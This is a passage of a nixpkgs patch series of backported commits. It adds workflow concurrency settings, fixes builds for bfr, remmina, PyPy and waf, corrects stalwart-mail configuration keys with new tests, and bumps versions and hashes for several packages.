+  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
+  cancel-in-progress: true
+
 permissions: {}
 
 jobs:
diff --git a/.github/workflows/manual-nixos-v2.yml b/.github/workflows/manual-nixos-v2.yml
index 640cb605433c..e76251838665 100644
--- a/.github/workflows/manual-nixos-v2.yml
+++ b/.github/workflows/manual-nixos-v2.yml
@@ -18,6 +18,10 @@ on:
       # Since the lib functions are used to 'massage' the options before producing the manual
       - "lib/**"
 
+concurrency:
+  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
+  cancel-in-progress: true
+
 permissions: {}
 
 jobs:
diff --git a/.github/workflows/manual-nixpkgs-v2.yml b/.github/workflows/manual-nixpkgs-v2.yml
index c6af1f14b34e..d685cc8994d8 100644
--- a/.github/workflows/manual-nixpkgs-v2.yml
+++ b/.github/workflows/manual-nixpkgs-v2.yml
@@ -10,6 +10,10 @@ on:
       - 'lib/**'
       - 'pkgs/by-name/ni/nixdoc/**'
 
+concurrency:
+  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
+  cancel-in-progress: true
+
 permissions: {}
 
 jobs:
diff --git a/.github/workflows/nix-parse-v2.yml b/.github/workflows/nix-parse-v2.yml
index f75a46957f5a..fa3ae5c2ac1a 100644
--- a/.github/workflows/nix-parse-v2.yml
+++ b/.github/workflows/nix-parse-v2.yml
@@ -6,6 +6,10 @@ on:
       - .github/workflows/nix-parse-v2.yml
   pull_request_target:
 
+concurrency:
+  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
+  cancel-in-progress: true
+
 permissions: {}
 
 jobs:
diff --git a/.github/workflows/nixpkgs-vet.yml b/.github/workflows/nixpkgs-vet.yml
index e4fd7aa06c92..bc99e7333520 100644
--- a/.github/workflows/nixpkgs-vet.yml
+++ b/.github/workflows/nixpkgs-vet.yml
@@ -11,6 +11,10 @@ on:
       - .github/workflows/nixpkgs-vet.yml
   pull_request_target:
 
+concurrency:
+  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
+  cancel-in-progress: true
+
 permissions: {}
 
 # We don't use a concurrency group here, because the action is triggered quite often (due to the PR edit trigger), and contributors would get notified on any canceled run.
diff --git a/.github/workflows/reviewers.yml b/.github/workflows/reviewers.yml
index 62c8f242164b..884cd2b266a6 100644
--- a/.github/workflows/reviewers.yml
+++ b/.github/workflows/reviewers.yml
@@ -10,6 +10,15 @@ on:
   pull_request_target:
     types: [ready_for_review]
   workflow_call:
+    inputs:
+      caller:
+        description: Name of the calling workflow.
+        required: true
+        type: string
+
+concurrency:
+  group: ${{ inputs.caller }}-${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
+  cancel-in-progress: true
 
 permissions: {}
 

From 489425794cc26ae8f791109663a2b277b605cc0a Mon Sep 17 00:00:00 2001
From: Sergei Trofimovich <slyich@gmail.com>
Date: Sun, 1 Jun 2025 10:05:17 +0100
Subject: [PATCH 0423/4511] pythonInterpreters.pypy310_prebuilt: set
 `mainProgram`
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Without the change the eval fails as:

    $ nix build --no-link -f. pythonInterpreters.pypy310_prebuilt.tests.test-packageOverrides
    error:
       … in the condition of the assert statement
         at pkgs/development/interpreters/python/tests.nix:212:11:
          211|           in
          212|           assert myPython.pkgs.foobar == myPython.pkgs.numpy;
             |           ^
          213|           myPython.withPackages (ps: with ps; [ foobar ]);

       … while evaluating the attribute 'outPath'
         at lib/customisation.nix:421:7:
          420|         drv.drvPath;
          421|       outPath =
             |       ^
          422|         assert condition;

       (stack trace truncated; use '--show-trace' to show the full, detailed trace)

       error: attribute 'mainProgram' missing
       at pkgs/by-name/me/meson/package.nix:75:52:
           74|           --replace-fail "PythonExternalProgram('python3', mesonlib.python_command)" \
           75|                          "PythonExternalProgram('${python3.meta.mainProgram}', mesonlib.python_command)"
             |                                                    ^
           76|         substituteInPlace mesonbuild/modules/python3.py \

(cherry picked from commit dc251ab95c8b1ea304afaa10842fb9397ad7c980)
---
 pkgs/development/interpreters/python/pypy/prebuilt.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/development/interpreters/python/pypy/prebuilt.nix b/pkgs/development/interpreters/python/pypy/prebuilt.nix
index b80429328f32..ec920405067e 100644
--- a/pkgs/development/interpreters/python/pypy/prebuilt.nix
+++ b/pkgs/development/interpreters/python/pypy/prebuilt.nix
@@ -176,6 +176,7 @@ stdenv.mkDerivation {
   meta = with lib; {
     homepage = "http://pypy.org/";
     description = "Fast, compliant alternative implementation of the Python language (${pythonVersion})";
+    mainProgram = "pypy";
     license = licenses.mit;
     platforms = lib.mapAttrsToList (arch: _: arch) downloadUrls;
   };

From effd9cbf4a2613dd2b9f586d1720391842f86635 Mon Sep 17 00:00:00 2001
From: Manuel Frischknecht <manuel.frischknecht@gmail.com>
Date: Sun, 25 May 2025 17:45:28 +0200
Subject: [PATCH 0424/4511] bfr: fix broken build because of stricter GCC
 default checks

GCC now complains if `main` has no explicitly declared return type.
Because `bfr`s `configure` script uses a very minimal C application
to check whether GCC works _at all_ (literally: `main(){return(0);}`),
this caused configure failures.

Another issue with the `configure` script is that it logs the compiler
errors for its checks to `configure.log` (and not to stdout or stderr),
which means that the root cause wasn't logged during the failed nix
build.

I added a patch that rewires the compiler error file descriptor so
that it will simply log to stderr and another patch that fixes the
missing return type in the C example.

Unfortunately, it looks like the server isn't serving the source
files anymore (and finding an official upstream repo which I could
send a PR to seems... non-trivial).

(cherry picked from commit 58e77c03a3a0201ad6f0e2d35ce5beae12dc08f6)
---
 .../configure-log-compiler-errors-to-stderr.patch   | 13 +++++++++++++
 ...ining-about-invalid-configure-example-code.patch | 13 +++++++++++++
 pkgs/by-name/bf/bfr/package.nix                     |  3 +++
 3 files changed, 29 insertions(+)
 create mode 100644 pkgs/by-name/bf/bfr/configure-log-compiler-errors-to-stderr.patch
 create mode 100644 pkgs/by-name/bf/bfr/fix-gcc-complaining-about-invalid-configure-example-code.patch

diff --git a/pkgs/by-name/bf/bfr/configure-log-compiler-errors-to-stderr.patch b/pkgs/by-name/bf/bfr/configure-log-compiler-errors-to-stderr.patch
new file mode 100644
index 000000000000..e0e410f7a674
--- /dev/null
+++ b/pkgs/by-name/bf/bfr/configure-log-compiler-errors-to-stderr.patch
@@ -0,0 +1,13 @@
+diff --git a/configure b/configure
+index 53e90a7..4afeb58 100755
+--- a/configure
++++ b/configure
+@@ -411,7 +411,7 @@ if test "$silent" = yes; then
+ else
+   exec 6>&1
+ fi
+-exec 5>./config.log
++exec 5>&2
+ 
+ echo "\
+ This file contains any messages produced by compilers while
diff --git a/pkgs/by-name/bf/bfr/fix-gcc-complaining-about-invalid-configure-example-code.patch b/pkgs/by-name/bf/bfr/fix-gcc-complaining-about-invalid-configure-example-code.patch
new file mode 100644
index 000000000000..a8896e52326a
--- /dev/null
+++ b/pkgs/by-name/bf/bfr/fix-gcc-complaining-about-invalid-configure-example-code.patch
@@ -0,0 +1,13 @@
+diff --git a/configure b/configure
+index 53e90a7..cc80615 100755
+--- a/configure
++++ b/configure
+@@ -908,7 +908,7 @@ cat > conftest.$ac_ext << EOF
+ #line 909 "configure"
+ #include "confdefs.h"
+ 
+-main(){return(0);}
++int main(){return(0);}
+ EOF
+ if { (eval echo configure:914: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then
+   ac_cv_prog_cc_works=yes
diff --git a/pkgs/by-name/bf/bfr/package.nix b/pkgs/by-name/bf/bfr/package.nix
index d0fe5ded789d..19b500f0fb1c 100644
--- a/pkgs/by-name/bf/bfr/package.nix
+++ b/pkgs/by-name/bf/bfr/package.nix
@@ -15,6 +15,9 @@ stdenv.mkDerivation rec {
   };
 
   patches = [
+    ./configure-log-compiler-errors-to-stderr.patch
+    ./fix-gcc-complaining-about-invalid-configure-example-code.patch
+
     (fetchurl {
       url = "https://gitweb.gentoo.org/repo/gentoo.git/plain/app-misc/bfr/files/bfr-1.6-perl.patch?id=dec60bb6900d6ebdaaa6aa1dcb845b30b739f9b5";
       sha256 = "1pk9jm3c1qzs727lh0bw61w3qbykaqg4jblywf9pvq5bypk88qfj";

From dddcfd1da5584d6a2b96d7113ee9d517af72b772 Mon Sep 17 00:00:00 2001
From: Michael Hoang <enzime@users.noreply.github.com>
Date: Fri, 23 May 2025 11:29:27 +1000
Subject: [PATCH 0425/4511] remmina: fix Python 3 not available on `PATH`

(cherry picked from commit 5d0d14796509873b9e5df9e96c43d1f2d0dea640)
---
 pkgs/by-name/re/remmina/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/re/remmina/package.nix b/pkgs/by-name/re/remmina/package.nix
index 14faf6c54cf9..64fc46629ded 100644
--- a/pkgs/by-name/re/remmina/package.nix
+++ b/pkgs/by-name/re/remmina/package.nix
@@ -135,6 +135,7 @@ stdenv.mkDerivation (finalAttrs: {
       ${lib.optionalString stdenv.hostPlatform.isDarwin ''
         --prefix XDG_DATA_DIRS : "$XDG_ICON_DIRS"
       ''}
+      --prefix PATH : "${lib.makeBinPath [ python3 ]}"
     )
   '';
 

From 6b23bf40cbb61729b105011dccd539b689fae07e Mon Sep 17 00:00:00 2001
From: Michael Hoang <enzime@users.noreply.github.com>
Date: Sat, 24 May 2025 21:23:25 +1000
Subject: [PATCH 0426/4511] remmina: fix build on macOS runners on GitHub
 Actions

(cherry picked from commit 8962aede14cabf1d64edbe891539f88682ae96b6)
---
 pkgs/by-name/re/remmina/package.nix | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/pkgs/by-name/re/remmina/package.nix b/pkgs/by-name/re/remmina/package.nix
index 64fc46629ded..eadf47a271b9 100644
--- a/pkgs/by-name/re/remmina/package.nix
+++ b/pkgs/by-name/re/remmina/package.nix
@@ -124,6 +124,9 @@ stdenv.mkDerivation (finalAttrs: {
       "-DHAVE_LIBAPPINDICATOR=OFF"
       "-DWITH_CUPS=OFF"
       "-DWITH_ICON_CACHE=OFF"
+      # Don't use system installed Python like on GitHub Actions runners
+      "-DPYTHON_INCLUDE_DIR=${python3}/include/${python3.libPrefix}"
+      "-DPYTHON_LIBRARY=${python3}/lib/libpython${python3.pythonVersion}${stdenv.hostPlatform.extensions.sharedLibrary}"
     ];
 
   dontWrapQtApps = true;

From 148a482687863172b214b96aab3892b30134cb34 Mon Sep 17 00:00:00 2001
From: Diogo Correia <me@diogotc.com>
Date: Thu, 29 May 2025 12:11:58 +0100
Subject: [PATCH 0427/4511] nixos/stalwart-mail: fix incorrect config for
 webadmin and spam-filter

Stalwart 0.11.0 changed the `config.resource.spam-filter` and
`config.resource.webadmin` keys to be `spam-filter.resource` and
`webadmin.resource` respectively. The NixOS has been updated
accordingly, but unfortunately it has mistakenly used
`config.spam-filter.resource` and `config.webadmin.resource`, which are
incorrect and do not do anything.

This commit changes the default configuration to use the correct keys.

Note that due to infinite recursion, the `optionalAttrs` has been
replaced with `mkIf`.

Additionally, some tests were added to catch this regression in the
future.

Fixes #411351

(cherry picked from commit b7ab1fa981ffbc2adbc63de403c2b49368ca8c6b)
---
 nixos/modules/services/mail/stalwart-mail.nix | 26 ++++++++-----------
 nixos/tests/stalwart-mail.nix                 |  9 +++++++
 2 files changed, 20 insertions(+), 15 deletions(-)

diff --git a/nixos/modules/services/mail/stalwart-mail.nix b/nixos/modules/services/mail/stalwart-mail.nix
index 42198573ec09..6622a2dcd114 100644
--- a/nixos/modules/services/mail/stalwart-mail.nix
+++ b/nixos/modules/services/mail/stalwart-mail.nix
@@ -107,21 +107,17 @@ in
       resolver.public-suffix = lib.mkDefault [
         "file://${pkgs.publicsuffix-list}/share/publicsuffix/public_suffix_list.dat"
       ];
-      config = {
-        spam-filter.resource = lib.mkDefault "file://${cfg.package}/etc/stalwart/spamfilter.toml";
-        webadmin =
-          let
-            hasHttpListener = builtins.any (listener: listener.protocol == "http") (
-              lib.attrValues cfg.settings.server.listener
-            );
-          in
-          {
-            path = "/var/cache/stalwart-mail";
-          }
-          // lib.optionalAttrs ((builtins.hasAttr "listener" cfg.settings.server) && hasHttpListener) {
-            resource = lib.mkDefault "file://${cfg.package.webadmin}/webadmin.zip";
-          };
-      };
+      spam-filter.resource = lib.mkDefault "file://${cfg.package}/etc/stalwart/spamfilter.toml";
+      webadmin =
+        let
+          hasHttpListener = builtins.any (listener: listener.protocol == "http") (
+            lib.attrValues (cfg.settings.server.listener or { })
+          );
+        in
+        {
+          path = "/var/cache/stalwart-mail";
+          resource = lib.mkIf (hasHttpListener) (lib.mkDefault "file://${cfg.package.webadmin}/webadmin.zip");
+        };
     };
 
     # This service stores a potentially large amount of data.
diff --git a/nixos/tests/stalwart-mail.nix b/nixos/tests/stalwart-mail.nix
index 38b47cb88f90..4d02bc0f9332 100644
--- a/nixos/tests/stalwart-mail.nix
+++ b/nixos/tests/stalwart-mail.nix
@@ -43,6 +43,11 @@ import ./make-test-python.nix (
                 bind = [ "[::]:143" ];
                 protocol = "imap";
               };
+
+              "http" = {
+                bind = [ "[::]:80" ];
+                protocol = "http";
+              };
             };
 
             session.auth.mechanisms = "[plain]";
@@ -115,9 +120,13 @@ import ./make-test-python.nix (
         main.wait_for_unit("stalwart-mail.service")
         main.wait_for_open_port(587)
         main.wait_for_open_port(143)
+        main.wait_for_open_port(80)
 
         main.succeed("test-smtp-submission")
         main.succeed("test-imap-read")
+
+        main.succeed("test -d /var/cache/stalwart-mail/STALWART_WEBADMIN")
+        main.succeed("curl --fail http://localhost")
       '';
 
     meta = {

From dd45cb40b39fb6d4314dbe4e7fd38c4e62041d36 Mon Sep 17 00:00:00 2001
From: Sean Buckley <sean.bck@gmail.com>
Date: Sat, 31 May 2025 17:22:28 -0400
Subject: [PATCH 0428/4511] brave: 1.78.102 -> 1.79.118

https://community.brave.com/t/release-channel-1-79-118/621692
(cherry picked from commit 66104907dd56de84571b47738f5ddcc85b158488)
---
 pkgs/by-name/br/brave/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/br/brave/package.nix b/pkgs/by-name/br/brave/package.nix
index 3b6c71e68f31..ce20dd1c2e0a 100644
--- a/pkgs/by-name/br/brave/package.nix
+++ b/pkgs/by-name/br/brave/package.nix
@@ -3,24 +3,24 @@
 
 let
   pname = "brave";
-  version = "1.78.102";
+  version = "1.79.118";
 
   allArchives = {
     aarch64-linux = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-browser_${version}_arm64.deb";
-      hash = "sha256-V+Kwdb1k/IbAOJfQ9+Nvr75MTQoGhuXM59X0nNmMfTc=";
+      hash = "sha256-OI4B6Uu9TtbV58Eq3854cyC57JZ+j7tBZoDk+zHeeWM=";
     };
     x86_64-linux = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-browser_${version}_amd64.deb";
-      hash = "sha256-S5eN33LlpQJFoPkurLKooGkPvqLCV70TjqHVj2e54rk=";
+      hash = "sha256-4lWsD9OfbgOaallAEc8x3zLSFoBAg4UCjBCiDc7ShDs=";
     };
     aarch64-darwin = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-v${version}-darwin-arm64.zip";
-      hash = "sha256-BjPcuMOIj6wLZONEzCLZx2UhOM8Sibvb432we+j3Md4=";
+      hash = "sha256-5yOcEerPleZnRynxMAzeiPPmZAfU6O+wqsBfR+NOvUc=";
     };
     x86_64-darwin = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-v${version}-darwin-x64.zip";
-      hash = "sha256-/fl4Jq/7Q9phTjMHQiMjNgK2dU52rE7O98nLBaQlM9A=";
+      hash = "sha256-3q0vV9cAk8TEWluGYyH3FSw4zKHxl2Dn3eCg2pSs3zU=";
     };
   };
 

From 8fc76008db983a40f883e2085ad5cfed9d3617e6 Mon Sep 17 00:00:00 2001
From: Kenichi Kamiya <kachick1@gmail.com>
Date: Fri, 30 May 2025 22:45:35 +0900
Subject: [PATCH 0429/4511] zizmor: add shell completions

Introduced in v1.7.0: https://github.com/zizmorcore/zizmor/blob/v1.7.0/docs/release-notes.md?plain=1#L60-L61

(cherry picked from commit d6159f308c1deacbcf0db5ad6bd155ea89735340)
---
 pkgs/by-name/zi/zizmor/package.nix | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/pkgs/by-name/zi/zizmor/package.nix b/pkgs/by-name/zi/zizmor/package.nix
index 20c3103d4aa5..4a41f7e0b07c 100644
--- a/pkgs/by-name/zi/zizmor/package.nix
+++ b/pkgs/by-name/zi/zizmor/package.nix
@@ -1,6 +1,8 @@
 {
   lib,
+  stdenv,
   fetchFromGitHub,
+  installShellFiles,
   nix-update-script,
   rustPlatform,
   versionCheckHook,
@@ -20,6 +22,17 @@ rustPlatform.buildRustPackage (finalAttrs: {
   useFetchCargoVendor = true;
   cargoHash = "sha256-OVGaHLA/VzF8wGrWrHaKpYDcp4ZeR9mf2s5I+u5ddcs=";
 
+  nativeBuildInputs = lib.optionals (stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    installShellFiles
+  ];
+
+  postInstall = lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    installShellCompletion --cmd zizmor \
+      --bash <("$out/bin/zizmor" --completions bash) \
+      --zsh <("$out/bin/zizmor" --completions zsh) \
+      --fish <("$out/bin/zizmor" --completions fish)
+  '';
+
   nativeInstallCheckInputs = [ versionCheckHook ];
 
   doInstallCheck = true;

From 837569c583e8e3032d5179b80c3cdec47357add0 Mon Sep 17 00:00:00 2001
From: Sarah Clark <seclark@nextquestion.net>
Date: Sat, 24 May 2025 12:29:59 -0700
Subject: [PATCH 0430/4511] python3Packages.typedunits: Disable fractional
 rounding test on aarch64

see https://github.com/quantumlib/TypedUnits/issues/14

(cherry picked from commit eb9e26b2dcf8ed273452663ce8f7c83873a6df8a)
---
 pkgs/development/python-modules/typedunits/default.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/development/python-modules/typedunits/default.nix b/pkgs/development/python-modules/typedunits/default.nix
index 3f0ed6e1d4ac..941db335c3e0 100644
--- a/pkgs/development/python-modules/typedunits/default.nix
+++ b/pkgs/development/python-modules/typedunits/default.nix
@@ -42,7 +42,7 @@ buildPythonPackage {
     pytestCheckHook
   ];
 
-  disabledTests = lib.optionals stdenv.hostPlatform.isDarwin [
+  disabledTests = lib.optionals stdenv.hostPlatform.isAarch [
     # Rounding differences
     "test_float_to_twelths_frac"
   ];

From e845e7404f39cb89cbc4297823257404bd1426df Mon Sep 17 00:00:00 2001
From: panicgh <79252025+panicgh@users.noreply.github.com>
Date: Sun, 1 Jun 2025 18:41:04 +0000
Subject: [PATCH 0431/4511] waf: make PYTHONPATH extensible (#408825)

Wrapping waf with "--set" prevents other python packages in
nativeBuildInputs to be used in a wscript. Wrapping with "--prefix"
allows us to overcome this limitation.

(cherry picked from commit 662ade6aeb71043fcbf3f69a870d342b678e8d24)
---
 pkgs/by-name/wa/waf/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/wa/waf/package.nix b/pkgs/by-name/wa/waf/package.nix
index e4a3262a8d12..2902a7fe55ca 100644
--- a/pkgs/by-name/wa/waf/package.nix
+++ b/pkgs/by-name/wa/waf/package.nix
@@ -64,7 +64,7 @@ stdenv.mkDerivation (finalAttrs: {
     runHook preInstall
 
     install -D waf "$out"/bin/waf
-    wrapProgram "$out"/bin/waf --set PYTHONPATH "$out"/${python3.sitePackages}
+    wrapProgram "$out"/bin/waf --prefix PYTHONPATH : "$out"/${python3.sitePackages}
     mkdir -p "$out"/${python3.sitePackages}/
     cp -r waflib "$out"/${python3.sitePackages}/
     runHook postInstall

From 73440ada91cf991a0777acb103b49ae02d9621de Mon Sep 17 00:00:00 2001
From: Ethan Carter Edwards <ethan@ethancedwards.com>
Date: Fri, 30 May 2025 23:17:38 -0400
Subject: [PATCH 0432/4511] libcs50: remove dangling symlink

Signed-off-by: Ethan Carter Edwards <ethan@ethancedwards.com>
(cherry picked from commit 381e571376148819cacccd25765c128017d81419)
---
 pkgs/by-name/li/libcs50/package.nix | 1 -
 1 file changed, 1 deletion(-)

diff --git a/pkgs/by-name/li/libcs50/package.nix b/pkgs/by-name/li/libcs50/package.nix
index becca7221ef6..9c02ac605816 100644
--- a/pkgs/by-name/li/libcs50/package.nix
+++ b/pkgs/by-name/li/libcs50/package.nix
@@ -20,7 +20,6 @@ stdenv.mkDerivation (finalAttrs: {
     mkdir $out
     cp -R build/lib $out/lib
     cp -R build/include $out/include
-    ln -sf $out/lib/libcs50.so.11.0.3 $out/lib/libcs50.so.11
     runHook postInstall
   '';
 

From c6c44a1634f3a1beb01c2b06cf577ae4192fef2f Mon Sep 17 00:00:00 2001
From: Seth Flynn <getchoo@tuta.io>
Date: Wed, 28 May 2025 20:33:41 +0000
Subject: [PATCH 0433/4511] garnet: 1.0.65 -> 1.0.69

Diff: https://github.com/microsoft/garnet/compare/v1.0.65...v1.0.69

CHangelog: https://github.com/microsoft/garnet/releases/tag/v1.0.69
(cherry picked from commit a24b70a1e55d27fd4a0bc5cf0b13316792f5e241)
---
 pkgs/by-name/ga/garnet/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ga/garnet/package.nix b/pkgs/by-name/ga/garnet/package.nix
index 48ff8f1b767d..babed86be830 100644
--- a/pkgs/by-name/ga/garnet/package.nix
+++ b/pkgs/by-name/ga/garnet/package.nix
@@ -8,13 +8,13 @@
 
 buildDotnetModule rec {
   pname = "garnet";
-  version = "1.0.65";
+  version = "1.0.69";
 
   src = fetchFromGitHub {
     owner = "microsoft";
     repo = "garnet";
     tag = "v${version}";
-    hash = "sha256-Gebd0dj5VbUiYPTmOlkDQEiIDjflV02GLHCEIjh4S04=";
+    hash = "sha256-U90y8VxGrRgXTdrusImNK2kRO+Tw9uiXoMiEb3YgaBM=";
   };
 
   projectFile = "main/GarnetServer/GarnetServer.csproj";

From 3b888e7461b16929ba01451712515cd6fdd35535 Mon Sep 17 00:00:00 2001
From: Dominic <email@dwrege.de>
Date: Thu, 29 May 2025 16:23:42 +0200
Subject: [PATCH 0434/4511] librewolf-bin: 138.0.4-1 -> 139.0-1

(cherry picked from commit 040eb3dd9e281c925407aaa97b9427ff13f7d84d)
---
 pkgs/by-name/li/librewolf-bin-unwrapped/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/li/librewolf-bin-unwrapped/package.nix b/pkgs/by-name/li/librewolf-bin-unwrapped/package.nix
index 72ddc32becc6..fd1e5e3268de 100644
--- a/pkgs/by-name/li/librewolf-bin-unwrapped/package.nix
+++ b/pkgs/by-name/li/librewolf-bin-unwrapped/package.nix
@@ -37,7 +37,7 @@ let
 
   pname = "librewolf-bin-unwrapped";
 
-  version = "138.0.4-1";
+  version = "139.0-1";
 in
 
 stdenv.mkDerivation {
@@ -47,9 +47,9 @@ stdenv.mkDerivation {
     url = "https://gitlab.com/api/v4/projects/44042130/packages/generic/librewolf/${version}/librewolf-${version}-${arch}-package.tar.xz";
     hash =
       {
-        i686-linux = "sha256-9lHQQ9DGfIIjMhvtorrFTHjjt+qCFRdhgLmkDYn5/sI=";
-        x86_64-linux = "sha256-N4MmZgYtezRzofuxPreWM+MrPZbgrh/jhBtDqHndFzw=";
-        aarch64-linux = "sha256-y4wR6RgtEesvogy+fRtVwY6dMMrrC/bPjH35N/ARI2U=";
+        i686-linux = "sha256-nWJRYEmjX8aE9zSuLU1FMg4FeZuDiC1eu+nxIRPhlNE=";
+        x86_64-linux = "sha256-2PmN18Rda0KeguQRsd5sZr3TRS8cEkTY21WhxxahCFc=";
+        aarch64-linux = "sha256-EzgGhIrS/D6IEylrhX0uvpSkWte/mHMyUYjXsm0PUn8=";
       }
       .${stdenv.hostPlatform.system} or throwSystem;
   };

From e35442197f71cdb17870ae761e9452e514dc47d7 Mon Sep 17 00:00:00 2001
From: Arjan Schrijver <github@anymore.nl>
Date: Mon, 26 May 2025 14:33:33 +0200
Subject: [PATCH 0435/4511] burp: backport fix for resuming backups

(cherry picked from commit c41d67c5a938ff808b1fb63a11aefc27ef57c839)
---
 pkgs/by-name/bu/burp/package.nix | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/bu/burp/package.nix b/pkgs/by-name/bu/burp/package.nix
index 6479c15eeb76..a37ca2faac41 100644
--- a/pkgs/by-name/bu/burp/package.nix
+++ b/pkgs/by-name/bu/burp/package.nix
@@ -21,7 +21,7 @@ stdenv.mkDerivation rec {
     owner = "grke";
     repo = "burp";
     rev = version;
-    sha256 = "sha256-y6kRd1jD6t+Q6d5t7W9MDuk+m2Iq1THQkP50PJwI7Nc=";
+    hash = "sha256-y6kRd1jD6t+Q6d5t7W9MDuk+m2Iq1THQkP50PJwI7Nc=";
   };
 
   patches = [
@@ -29,7 +29,13 @@ stdenv.mkDerivation rec {
     (fetchpatch {
       name = "ncurses-6.3.patch";
       url = "https://github.com/grke/burp/commit/1d6c931af7c11f164cf7ad3479781e8f03413496.patch";
-      sha256 = "14sfbfahlankz3xg6v10i8fnmpnmqpp73q9xm0l0hnjh25igv6bl";
+      hash = "sha256-dJn9YhFQWggoqD3hce7F1d5qHYogbPP6+NMqCpVbTpM=";
+    })
+    # Pull upstream fix for backup resuming
+    (fetchpatch {
+      name = "fix-resume.patch";
+      url = "https://github.com/grke/burp/commit/b5ed667f73805b5af9842bb0351f5af95d4d50b3.patch";
+      hash = "sha256-MT9D2thLgV4nT3LsIDHZp8sWQF2GlOENj0nkOQXZKuk=";
     })
   ];
 

From 3ae5b8355ea288679317027a250a3acbc831c239 Mon Sep 17 00:00:00 2001
From: Ryan Horiguchi <ryan.horiguchi@gmail.com>
Date: Tue, 27 May 2025 19:09:36 +0200
Subject: [PATCH 0436/4511] adguardhome: 0.107.61 -> 0.107.62

(cherry picked from commit a98a48a016bb21140f2c2cda316e07a3ab94f4fb)
---
 pkgs/servers/adguardhome/default.nix | 6 +++---
 pkgs/servers/adguardhome/update.sh   | 2 +-
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/servers/adguardhome/default.nix b/pkgs/servers/adguardhome/default.nix
index cdcddb01caba..da2bacd0ee9c 100644
--- a/pkgs/servers/adguardhome/default.nix
+++ b/pkgs/servers/adguardhome/default.nix
@@ -8,15 +8,15 @@
 
 buildGoModule rec {
   pname = "adguardhome";
-  version = "0.107.61";
+  version = "0.107.62";
   src = fetchFromGitHub {
     owner = "AdguardTeam";
     repo = "AdGuardHome";
     tag = "v${version}";
-    hash = "sha256-nKN1yr0HxUrjFD/9e87pxNqbQkNFlreJI2OHEQkbW2Q=";
+    hash = "sha256-CqXf19DyDFgSnd/dziUq9Gl1d1V20OWE5MTQMi260Zc=";
   };
 
-  vendorHash = "sha256-odUfgLTSBLnzN1wsl7TOftGn7OmdbACO/83ukZ8PUaQ=";
+  vendorHash = "sha256-lY24TtW4vpMRUzOZmeX3Ip9ikUc4z1HG49DpeECExdk=";
 
   dashboard = buildNpmPackage {
     inherit src;
diff --git a/pkgs/servers/adguardhome/update.sh b/pkgs/servers/adguardhome/update.sh
index 6583a235f4de..7839d18d2cb7 100755
--- a/pkgs/servers/adguardhome/update.sh
+++ b/pkgs/servers/adguardhome/update.sh
@@ -1,5 +1,5 @@
 #! /usr/bin/env nix-shell
-#! nix-shell -i bash -p curl gnugrep nix-prefetch jq
+#! nix-shell -i bash -p curl gnugrep jq nix-prefetch nix-update
 
 # This file is based on /pkgs/servers/gotify/update.sh
 

From acc2c7b28d9d96c654b90726315931c5f991ef92 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Sun, 1 Jun 2025 21:09:45 +0200
Subject: [PATCH 0437/4511] zigbee2mqtt_2: 2.3.0 -> 2.4.0

https://github.com/Koenkk/zigbee2mqtt/releases/tag/2.4.0
(cherry picked from commit 20b798fd7bb3799311df047969fb18625ec233af)
---
 pkgs/by-name/zi/zigbee2mqtt_2/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/zi/zigbee2mqtt_2/package.nix b/pkgs/by-name/zi/zigbee2mqtt_2/package.nix
index 116f81dab20e..217b3d5d2b97 100644
--- a/pkgs/by-name/zi/zigbee2mqtt_2/package.nix
+++ b/pkgs/by-name/zi/zigbee2mqtt_2/package.nix
@@ -16,18 +16,18 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "zigbee2mqtt";
-  version = "2.3.0";
+  version = "2.4.0";
 
   src = fetchFromGitHub {
     owner = "Koenkk";
     repo = "zigbee2mqtt";
     tag = finalAttrs.version;
-    hash = "sha256-u3wSp+F31I8PNzh5uQe0MC+WgmQCUvOlWqX1HT7qVhM=";
+    hash = "sha256-azgZzw1Bgqepg6UM8INbMGZRerbafGJWQfqSEepPf1I=";
   };
 
   pnpmDeps = pnpm.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-WiX2BL5C0LmwGfOc/mWCRpp9jIezmqfl9ZkeIGR4i9w=";
+    hash = "sha256-Uli0skvkAyVbKdna9MTWoQzK3V7puM7gd7GzCk7tS78=";
   };
 
   nativeBuildInputs = [

From e9cff579fec7c6745a2b115f0ed2d1105dfab8c7 Mon Sep 17 00:00:00 2001
From: Sefa Eyeoglu <contact@scrumplex.net>
Date: Wed, 21 May 2025 20:16:31 +0200
